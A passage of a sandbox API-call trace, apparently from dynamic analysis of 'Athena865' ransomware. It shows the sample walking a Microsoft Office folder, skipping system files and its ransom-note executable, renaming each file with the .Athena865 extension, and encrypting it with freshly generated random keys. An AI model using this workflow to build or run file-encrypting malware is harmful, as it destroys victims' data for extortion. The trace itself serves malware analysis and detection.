lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0089.181] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0089.196] CloseHandle (hObject=0x17c) returned 1 [0089.196] CloseHandle (hObject=0x154) returned 1 [0089.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.204] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x5e60d530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x1373c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WORDIRM.XML", cAlternateFileName="")) returned 1 [0089.204] lstrcmpiW (lpString1="WORDIRM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.204] lstrcmpiW (lpString1="WORDIRM.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.204] lstrcmpiW (lpString1="WORDIRM.XML", lpString2=".") returned 1 [0089.204] lstrcmpiW (lpString1="WORDIRM.XML", lpString2="..") returned 1 [0089.204] lstrcmpiW (lpString1="WORDIRM.XML", lpString2="windows") returned 1 [0089.204] lstrcmpiW (lpString1="WORDIRM.XML", lpString2="bootmgr") returned 1 [0089.204] lstrcmpiW (lpString1="WORDIRM.XML", lpString2="temp") returned 1 [0089.204] lstrcmpiW (lpString1="WORDIRM.XML", lpString2="pagefile.sys") returned 1 [0089.204] lstrcmpiW (lpString1="WORDIRM.XML", lpString2="boot") returned 1 [0089.204] lstrcmpiW (lpString1="WORDIRM.XML", lpString2="ids.txt") returned 1 [0089.204] lstrcmpiW (lpString1="WORDIRM.XML", lpString2="ntuser.dat") returned 1 [0089.204] lstrcmpiW (lpString1="WORDIRM.XML", lpString2="perflogs") returned 1 [0089.204] lstrcmpiW (lpString1="WORDIRM.XML", lpString2="MSBuild") returned 1 [0089.204] lstrlenW (lpString="WORDIRM.XML") returned 11 [0089.204] lstrcpyW (in: lpString1=0x241e89e, lpString2="WORDIRM.XML" | out: lpString1="WORDIRM.XML") returned="WORDIRM.XML" [0089.204] lstrlenW (lpString="WORDIRM.XML") returned 11 [0089.204] lstrlenW (lpString="Athena865") returned 9 [0089.204] lstrcmpiW (lpString1="RDIRM.XML", lpString2="Athena865") returned 1 [0089.205] lstrlenW (lpString=".dll") returned 4 [0089.205] lstrcmpiW (lpString1="WORDIRM.XML", lpString2=".dll") returned 1 [0089.205] lstrlenW (lpString=".lnk") returned 4 [0089.205] lstrcmpiW (lpString1="WORDIRM.XML", lpString2=".lnk") returned 1 [0089.205] lstrlenW (lpString=".ini") returned 4 [0089.205] lstrcmpiW (lpString1="WORDIRM.XML", lpString2=".ini") returned 1 [0089.205] lstrlenW (lpString=".sys") returned 4 [0089.205] lstrcmpiW (lpString1="WORDIRM.XML", lpString2=".sys") returned 1 [0089.205] lstrlenW (lpString="WORDIRM.XML") returned 11 [0089.205] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML.Athena865") returned 64 [0089.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml.athena865"), dwFlags=0x1) returned 1 [0089.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0089.206] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79676) returned 1 [0089.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.207] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.208] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.208] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.208] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a40, lpName=0x0) returned 0x17c [0089.209] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a40) returned 0x100000 [0089.213] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0089.213] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0089.213] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0089.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0089.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0089.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0089.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0089.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0089.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0089.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0089.214] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0089.215] CloseHandle (hObject=0x17c) returned 1 [0089.215] CloseHandle (hObject=0x154) returned 1 [0089.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.216] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x13584, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WORDIRMV.XML", cAlternateFileName="")) returned 1 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2=".") returned 1 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="..") returned 1 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="windows") returned 1 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="bootmgr") returned 1 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="temp") returned 1 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="pagefile.sys") returned 1 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="boot") returned 1 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="ids.txt") returned 1 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="ntuser.dat") returned 1 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="perflogs") returned 1 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="MSBuild") returned 1 [0089.216] lstrlenW (lpString="WORDIRMV.XML") returned 12 [0089.216] lstrcpyW (in: lpString1=0x241e89e, lpString2="WORDIRMV.XML" | out: lpString1="WORDIRMV.XML") returned="WORDIRMV.XML" [0089.216] lstrlenW (lpString="WORDIRMV.XML") returned 12 [0089.216] lstrlenW (lpString="Athena865") returned 9 [0089.216] lstrcmpiW (lpString1="DIRMV.XML", lpString2="Athena865") returned 1 [0089.216] lstrlenW (lpString=".dll") returned 4 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2=".dll") returned 1 [0089.216] lstrlenW (lpString=".lnk") returned 4 [0089.216] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2=".lnk") returned 1 [0089.217] lstrlenW (lpString=".ini") returned 4 [0089.217] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2=".ini") returned 1 [0089.217] lstrlenW (lpString=".sys") returned 4 [0089.217] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2=".sys") returned 1 [0089.217] lstrlenW (lpString="WORDIRMV.XML") returned 12 [0089.217] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML.Athena865") returned 65 [0089.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml.athena865"), dwFlags=0x1) returned 1 [0089.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0089.218] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79236) returned 1 [0089.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.218] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.219] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.219] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.219] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13890, lpName=0x0) returned 0x17c [0089.222] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13890) returned 0x100000 [0089.226] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0089.226] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0089.226] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0089.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0089.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0089.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0089.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0089.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0089.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0089.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.227] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0089.227] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0089.228] CloseHandle (hObject=0x17c) returned 1 [0089.228] CloseHandle (hObject=0x154) returned 1 [0089.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.228] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6f62f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x9fb78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WORKFLOW.DLL", cAlternateFileName="")) returned 1 [0089.228] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.228] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.228] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2=".") returned 1 [0089.228] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="..") returned 1 [0089.229] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="windows") returned 1 [0089.229] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="bootmgr") returned 1 [0089.229] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="temp") returned 1 [0089.229] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="pagefile.sys") returned 1 [0089.229] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="boot") returned 1 [0089.229] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="ids.txt") returned 1 [0089.229] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="ntuser.dat") returned 1 [0089.229] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="perflogs") returned 1 [0089.229] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="MSBuild") returned 1 [0089.229] lstrlenW (lpString="WORKFLOW.DLL") returned 12 [0089.229] lstrcpyW (in: lpString1=0x241e89e, lpString2="WORKFLOW.DLL" | out: lpString1="WORKFLOW.DLL") returned="WORKFLOW.DLL" [0089.229] lstrlenW (lpString="WORKFLOW.DLL") returned 12 [0089.229] lstrlenW (lpString="Athena865") returned 9 [0089.229] lstrcmpiW (lpString1="KFLOW.DLL", lpString2="Athena865") returned 1 [0089.229] lstrlenW (lpString=".dll") returned 4 [0089.229] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2=".dll") returned 1 [0089.229] lstrlenW (lpString=".lnk") returned 4 [0089.229] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2=".lnk") returned 1 [0089.229] lstrlenW (lpString=".ini") returned 4 [0089.229] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2=".ini") returned 1 [0089.229] lstrlenW (lpString=".sys") returned 4 [0089.229] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2=".sys") returned 1 [0089.229] lstrlenW (lpString="WORKFLOW.DLL") returned 12 [0089.229] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\WORKFLOW.DLL.Athena865") returned 65 [0089.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORKFLOW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\workflow.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORKFLOW.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\workflow.dll.athena865"), dwFlags=0x1) returned 1 [0089.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORKFLOW.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\workflow.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0089.231] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=654200) returned 1 [0089.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.232] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.232] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.232] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.232] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9fe80, lpName=0x0) returned 0x17c [0089.234] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9fe80) returned 0x2d50000 [0089.254] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0089.255] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0089.255] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0089.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0089.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0089.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0089.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0089.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0089.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0089.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0089.256] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0089.261] CloseHandle (hObject=0x17c) returned 1 [0089.261] CloseHandle (hObject=0x154) returned 1 [0089.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.264] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee656c00, ftCreationTime.dwHighDateTime=0x1cacd37, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee656c00, ftLastWriteTime.dwHighDateTime=0x1cacd37, nFileSizeHigh=0x0, nFileSizeLow=0x17f2558, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WWLIB.DLL", cAlternateFileName="")) returned 1 [0089.264] lstrcmpiW (lpString1="WWLIB.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.264] lstrcmpiW (lpString1="WWLIB.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.264] lstrcmpiW (lpString1="WWLIB.DLL", lpString2=".") returned 1 [0089.264] lstrcmpiW (lpString1="WWLIB.DLL", lpString2="..") returned 1 [0089.264] lstrcmpiW (lpString1="WWLIB.DLL", lpString2="windows") returned 1 [0089.264] lstrcmpiW (lpString1="WWLIB.DLL", lpString2="bootmgr") returned 1 [0089.264] lstrcmpiW (lpString1="WWLIB.DLL", lpString2="temp") returned 1 [0089.265] lstrcmpiW (lpString1="WWLIB.DLL", lpString2="pagefile.sys") returned 1 [0089.265] lstrcmpiW (lpString1="WWLIB.DLL", lpString2="boot") returned 1 [0089.265] lstrcmpiW (lpString1="WWLIB.DLL", lpString2="ids.txt") returned 1 [0089.265] lstrcmpiW (lpString1="WWLIB.DLL", lpString2="ntuser.dat") returned 1 [0089.265] lstrcmpiW (lpString1="WWLIB.DLL", lpString2="perflogs") returned 1 [0089.265] lstrcmpiW (lpString1="WWLIB.DLL", lpString2="MSBuild") returned 1 [0089.265] lstrlenW (lpString="WWLIB.DLL") returned 9 [0089.265] lstrcpyW (in: lpString1=0x241e89e, lpString2="WWLIB.DLL" | out: lpString1="WWLIB.DLL") returned="WWLIB.DLL" [0089.265] lstrlenW (lpString="WWLIB.DLL") returned 9 [0089.265] lstrlenW (lpString="Athena865") returned 9 [0089.265] lstrlenW (lpString=".dll") returned 4 [0089.265] lstrcmpiW (lpString1="WWLIB.DLL", lpString2=".dll") returned 1 [0089.265] lstrlenW (lpString=".lnk") returned 4 [0089.265] lstrcmpiW (lpString1="WWLIB.DLL", lpString2=".lnk") returned 1 [0089.265] lstrlenW (lpString=".ini") returned 4 [0089.265] lstrcmpiW (lpString1="WWLIB.DLL", lpString2=".ini") returned 1 [0089.265] lstrlenW (lpString=".sys") returned 4 [0089.265] lstrcmpiW (lpString1="WWLIB.DLL", lpString2=".sys") returned 1 [0089.265] lstrlenW (lpString="WWLIB.DLL") returned 9 [0089.265] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\WWLIB.DLL.Athena865") returned 62 [0089.265] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WWLIB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\wwlib.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WWLIB.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wwlib.dll.athena865"), dwFlags=0x1) returned 1 [0089.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WWLIB.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\wwlib.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0089.267] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25109848) returned 1 [0089.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.267] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.268] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.268] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.268] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17f2860, lpName=0x0) returned 0x17c [0089.270] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1600000, dwNumberOfBytesToMap=0x1f2860) returned 0x3160000 [0089.483] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0089.484] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0089.484] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0089.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0089.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0089.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0089.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0089.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0089.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0089.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0089.484] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0089.501] CloseHandle (hObject=0x17c) returned 1 [0089.501] CloseHandle (hObject=0x154) returned 1 [0089.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 